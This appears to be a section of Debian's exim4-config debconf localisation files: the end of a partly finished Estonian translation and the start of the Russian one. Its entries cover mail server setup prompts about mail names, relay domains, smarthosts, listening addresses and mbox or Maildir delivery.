Description #: ../exim4-config.templates:2001 #, fuzzy msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Kuni postisüsteemi seadistamiseni on e-post kasutuskõlbmati. Loomulikult " "saad seda ka hiljem seadistada - kas siis käsitsi või käivitades " "juurkasutajana \"dpkg-reconfigure exim4-config\"." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Süsteemi postinimi:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Seda nime kasutavad ka teised programmid. Ta peaks olema üks täispikk " "domeeninimi (FQDN), kust kõik selle masina kirjad pärinevad." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Seda nime pole kirja From: ridadel näha juhul, kui seadistad " "ümberkirjutamise." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Teised domeenid, mille kirjad tuleb vastu võtta:" #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Palun sisesta nimekiri domeenidest, mille jaoks see masin end kirjade " "lõpppunktiks pidama peaks. Nimekirja pole vaja lisada selle masina võrgunime " "(${fqdn}) ega \"localhost\"-i." #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Vaikimisi käsiteldakse kõiki domeene võrdselt. Kui soovid, et domeene " "koheldaks erinevalt, pead hiljem seadistusfaile käsitsi parandama." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domeenid, millele kirju edastada (relee):" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Masinad, mille kirju edastada (relee):" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 #, fuzzy msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Kui sääraseid masinaid on, sisesta nad koolonitega eraldades siia. Nad " "peaksid olema tavapärases aadress/pikkus vormingus (näiteks " "194.222.242.0/24)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Kohalikele kasutajatele nähtav domeeninimi:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 #, fuzzy msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Uuri /usr/share/doc/exim4-base/README.Debian.gz kui soovid teada SMTP " "autentimisest." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Root ja postmaster kirjade vastuvõtja:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Kirjad \"postmaster\", \"root\" ja teistele süsteemsetele kasutajatele " "saadetakse tavaliselt edasi administraatori kasutajanimele. Kui jätad selle " "väärtuse tühjaks, salvestatakse säärased kirjad /var/mail/mail, kuid see " "pole hea variant. Pane tähele, et kirjad kasutajale postmaster tuleks lugeda " "samas masinas, kuhu nad saadeti, neid ei tohiks teise masinasse edasi saata. " "Seega peaks vähemalt üks kasutaja olema säärane, et tema kirju siit masinast " "edasi ei saadetaks. Võid kasutada prefiksi \"real-\", et sundida kohalikku " "edastamist." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "Multiple user names need to be separated by spaces." msgstr "Sisesta üks või enam tühikutega eraldatud kasutajanime." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-aadress, millel sisenevaid SMTP ühendusi oodata:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Kui jätad selle väärtuse tühjaks, võtab Exim vastu kõigi sobivate " "võrguliideste SMTP pordile tulevad ühendused." #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Kui see masin ei võta väljastpoolt üle SMTP mujalt tulevaid kirju vastu, " "vaid ainult kohalikelt teenustelt nagu fetchmail või e-posti programm (MUA), " "mis räägivad localhost'ga, peaksid väljastpoolt tulevate ühenduste " "vastuvõtmise ära keelama. Selleks sisesta üksainus väärtus 127.0.0.1, " "keelates avalikel võrguliidestel kuulamise ära." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Minimiseerida DNS pärignute arv (nõudmisel sissehelistamine)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 #, fuzzy msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Tavaliselt sooritab Exim pidevalt DNS päringuid: teenuse käivitamisel, kirja " "saamisel, jne - logifailide tähendusrikkuse ning seadistusfailidesse " "kirjutatavate väärtuste piiramiseks." #. Type: boolean #. Description #: ../exim4-config.templates:11001 #, fuzzy msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Kui sel masinal pole pidevat ligipääsu nimeserverile ja ta kasutab nõudmisel " "sissehelistamisteenust, võib tulemusena iga exim'i käivitus ja järjekorra " "jooksutamine (ka siis, kui järjekord tühi on) esile kutsuda kuluka " "sissehelistamisteenuse käivitamise." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" #. Type: title #. Description #: ../exim4-config.templates:12001 #, fuzzy msgid "Mail Server configuration" msgstr "E-posti üldine seadistus:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Jagada seadistus väikesteks failideks?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debiani exim4 pakid võivad kasutada kas üht suurt seadistusfaili (/etc/exim4/" "exim4.conf.template) või umbes 40 väikest faili /etc/exim4/conf.d/ all, " "millest kokku saadakse lõplik seadistus." #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Esimene sobib paremini olukordadesse, kus on vaja läbi viia suuri muudatusi " "ning on üldjuhul stabiilsem, kui teine variant pakub jällegi mugavamat " "väikeste muutuste haldamist, olles õrnem - võib suurte muudatuste korral " "katki minna." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Eemaldada väljaminevast postist kohalik postinimi?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 #, fuzzy msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Et e-post paistaks pärinevat mõnest teisest süsteemist, on võimalik " "väljaminevate kirjade päiseid ümber kirjutada: asendada \"${mailname}\" " "\"localhost\" ja \"${dc_other_hostnames}\" From, Reply-To, Sender ja Return-" "Path väljadel." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 #, fuzzy msgid "Delivery method for local mail:" msgstr "kirjad saadetakse läbi relee; kohalikke kirju pole" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Tõsta veel edastamata kirjad exim (versioon 3) puhverkataloogist exim4 " #~ "puhverkataloogi?" #, fuzzy #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Exim'i või exim-tls puhverkataloogis /var/spool/exim/input/ on mõned veel " #~ "edastamata kirjad. Nad võib üle tõsta exim4 puhverkataloogi (/var/spool/" #~ "exim4/input/), kus hoolitseks nende kohaletoimetamise eest exim4." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Pane tähele, et tegemist on ühesuunalise protsessiga. Exim4 mõistab exim " #~ "(versioon 3) puhvrit, kuid mitte vastupidi." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Tõsta kirjad ümber juhul, kui ei plaani enam exim (versioon 3) juurde " #~ "tagasi minna. Vastasel juhul ei tohiks sa kirju praegu ümber tõsta, vaid " #~ "peaksid seda hiljem käsitsi tegema - siis kui paigaldamine läbi on." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Kui on veel mõned, sisesta nad koolonitega eraldatult siia. Kui rohkem " #~ "pole, võid selle välja ka tühjaks jätta." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Palun sisesta domeenid, millele peab nõustuma kirju edastada (relee)." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Need on domeenid, millele oled nõus kirju kõikjalt internetist " #~ "edastamiseks vastu võtma. Ära maini siin kohalikke domeene." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Domeenid tuleks teineteisest koolonitega eraldada. Metamärgid (näiteks *) " #~ "on lubatud." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Kuna käivitasid kohaliku postinime väljuvatest kirjadest eemaldamise, " #~ "pead määrama domeeninime, mida kohalike kasutajate kirjade juures " #~ "tarvitada. Üldjuhul on see põhiliselt posti vastu võtva masina nimi." #~ msgid "Where will your users read their mail?" #~ msgstr "Kus su kasutajad oma kirju loevad?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "Selle võrgukoha väljuvaid kirju edastav masin:" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "Sisesta väljaminevaid kirju edastava masina võrgunimi." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Käivita see teenus vaid juhul, kui kasutad nõudmisel " #~ "sissehelistamisteenust." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Vali sulle kõige paremini sobiv seadistustüüp." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "" #~ "Kui sa ei tea kumba valida, on kindlam jääda ühe suure faili juurde." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "käsitsi teisendamine kodukootud exim v3 seadistustest" #~ msgid "Configure Exim4 manually?" #~ msgstr "Seadistada Exim4 käsitsi?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Sul on kodukootud Exim 3 seadistus. Käivita peale paigaldamist tööriist " #~ "exim_convert4r4(8) - see aitab sul seadistust Exim 4 sobivaks teisendada. " #~ "Ühtlasi loe /usr/share/doc/exim4-base/examples/example.conf.gz ning /usr/" #~ "share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "Kuni postisüsteemi seadistamiseni on e-post kasutuskõlbmatu." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Sinu \"postinimi\" on võrgunime osa, mis on näha väljuvates e-kirjades ja " #~ "uudisgrupipostitustes (peale kasutajanime ja @ märki) kui teda " #~ "ümberkirjutamise abil ära ei peideta." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Palun sisesta siia masinad, kellelt kõik kirjad edastamiseks vastu võtta." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "See on nimekiri masinatest, millelt tulevad kirjad jaoks on meiliserver " #~ "edastamiseks vastu võtab." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "IPv6 aadressides pead koolonid kahekordselt kirjutama (näiteks " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Sisesta koolonitega eraldatud IP-aadresside nimekiri, millelt " #~ "sissetulevaid ühendusi oodata. IPv6 aadressides olevad koolonid pead " #~ "kirjutama topelt (näiteks 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Exim v4 (exim4-config) seadistamine" debian/po/ru.po0000644000000000000000000007423312200230010010557 0ustar # translation of ru.po to Russian # Translation of exim4_debconf_ru.po to Russian # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # # Dmitry Beloglazov , 2004. # Sergey Alyoshin , 2007. # Yuri Kozlov , 2006, 2007. msgid "" msgstr "" "Project-Id-Version: exim4-debconf_4.67_1exp1_ru\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-06-19 21:31+0400\n" "Last-Translator: Yuri Kozlov \n" "Language-Team: Russian \n" "Language: ru\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" "%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Удалить недоставленную почту из каталога почтовой очереди?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "В каталоге почтовой очереди Exim /var/spool/exim4/input есть почта, которая " "пока не была доставлена. Если Exim будет удалён, то она так и не будет " "доставлена, пока Exim не будет установлен снова." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Если этот параметр не выбран, то каталог почтовой очереди будет сохранён, " "что позволит доставить сообщения в очереди позже, после переустановки Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Перенастройка с помощью exim4-config, а не с помощью этого пакета." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Настройка Exim4 вынесена в отдельный пакет, exim4-config. Если нужно " "перенастроить Exim4, используйте команду 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "интернет-сайт; приём и отправка почты напрямую, используя SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "отправка почты через smarthost; приём по SMTP или через fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "отправка почты через smarthost; локальная почта отсутствует" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "доставка только локальной почты; доступа к сети нет" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "в данный момент конфигурация отсутствует" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Общий тип почтовой конфигурации:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Выберите тип конфигурации почтового сервера наиболее отвечающий вашим нуждам." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Системы с динамическими IP-адресами, включая системы с коммутируемым " "доступом, как правило, должны быть настроены на отправку исходящей почты " "через другую машину, называемую 'smarthost', так как с целью защиты от спама " "многие принимающие почту системы в Интернет блокируют входящую почту с " "динамических IP-адресов." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Системы с динамическими IP-адресами могут принимать почту или локальная " "доставка может быть полностью выключена (за исключением почты для root и " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Вы уверены, что хотите оставить почтовую систему ненастроенной?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "До тех пор, пока ваша почтовая система не будет настроена, она будет " "неработоспособна и не может быть использована. Вы можете настроить её позже " "вручную или выполнив команду 'dpkg-reconfigure exim4-config'." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Почтовое имя системы:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'Почтовое имя' -- это доменное имя, которое используется для 'определения' " "почтовых адресов без доменного имени." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Это имя также будет использоваться другими программами. Оно должно быть " "единственным, полностью определённым именем домена (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Например, если почтовый адрес локальной машины foo@example.org, то " "правильное значение этого параметра будет example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Это имя не будет появляться в строке From: исходящей почты, если разрешена " "перезапись." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Другие места назначения, для которых должна приниматься почта:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Введите список доменов получателей через точку с запятой, для которых эта " "машина должна считать себя местом назначения. Эти домены часто называют " "'локальными доменами'. Локальное имя хоста (${fqdn}) и 'localhost' всегда " "добавляются к указанному здесь списку." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "По умолчанию все домены обрабатываются одинаково. Если a.example и b.example " "считаются локальными доменами, то у адресов acc@a.example и acc@b.example " "будет одинаковый конечный пункт назначения. Если есть доменные имена, " "которые нужно обрабатывать по-другому, необходимо отредактировать " "конфигурационные файлы вручную." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Домены, для которых доступна релейная передача почты:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Введите список доменов через точку с запятой, для которых эта машина будет " "релеить почту, например, если она должна работать как аварийный MX или " "почтовый шлюз. Это означает, что система будет принимать почту для этих " "доменов от кого угодно из Интернет и доставлять её согласно локальным " "правилам доставки." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Не вписывайте сюда локальные домены. Можно использовать шаблоны." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Машины, для которых доступна релейная передача почты:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Введите список диапазонов IP-адресов, разделённых точками с запятой, с " "которых вы безусловно разрешаете релейную передачу почты, играя для них роль " "smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Необходимо использовать стандартный формат адрес/маска (например, " "194.222.242.0/24 или 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Если эта система вообще не должна быть smarthost, то оставьте это поле " "пустым." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Видимое доменное имя локальных пользователей:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Была включена опция сокрытия локального почтового имени в исходящей почте. " "Поэтому необходимо указать доменное имя, которое должна использовать эта " "система в доменной части локальных пользовательских адресов-отправителей." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP-адрес или имя хоста являющегося исходящим smarthost:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Введите IP-адрес или имя хоста почтового сервера, который эта система будет " "использовать в качестве исходящего smarthost. Если smarthost принимает почту " "на нестандартном порту (не TCP/25), то добавьте два двоеточия и номер " "порта (например, smarthost.example::587 или 192.168.254.254::2525). " "Двоеточия в адресах IPv6 нужно удваивать." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Если smarthost требует пройти аутентификацию, то замечания о том как " "настроить аутентификацию SMTP в Debian, смотрите в файлах README (из " "каталога /usr/share/doc/exim4-base)." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Получатель почты, адресованной root и postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Почта для 'postmaster', 'root' и других системных учётных записей должна " "перенаправляться на пользовательскую учётную запись настоящего системного " "администратора." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Если это значение оставить пустым, то почта будет сохраняться в /var/mail/" "mail, но это не рекомендуется." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be 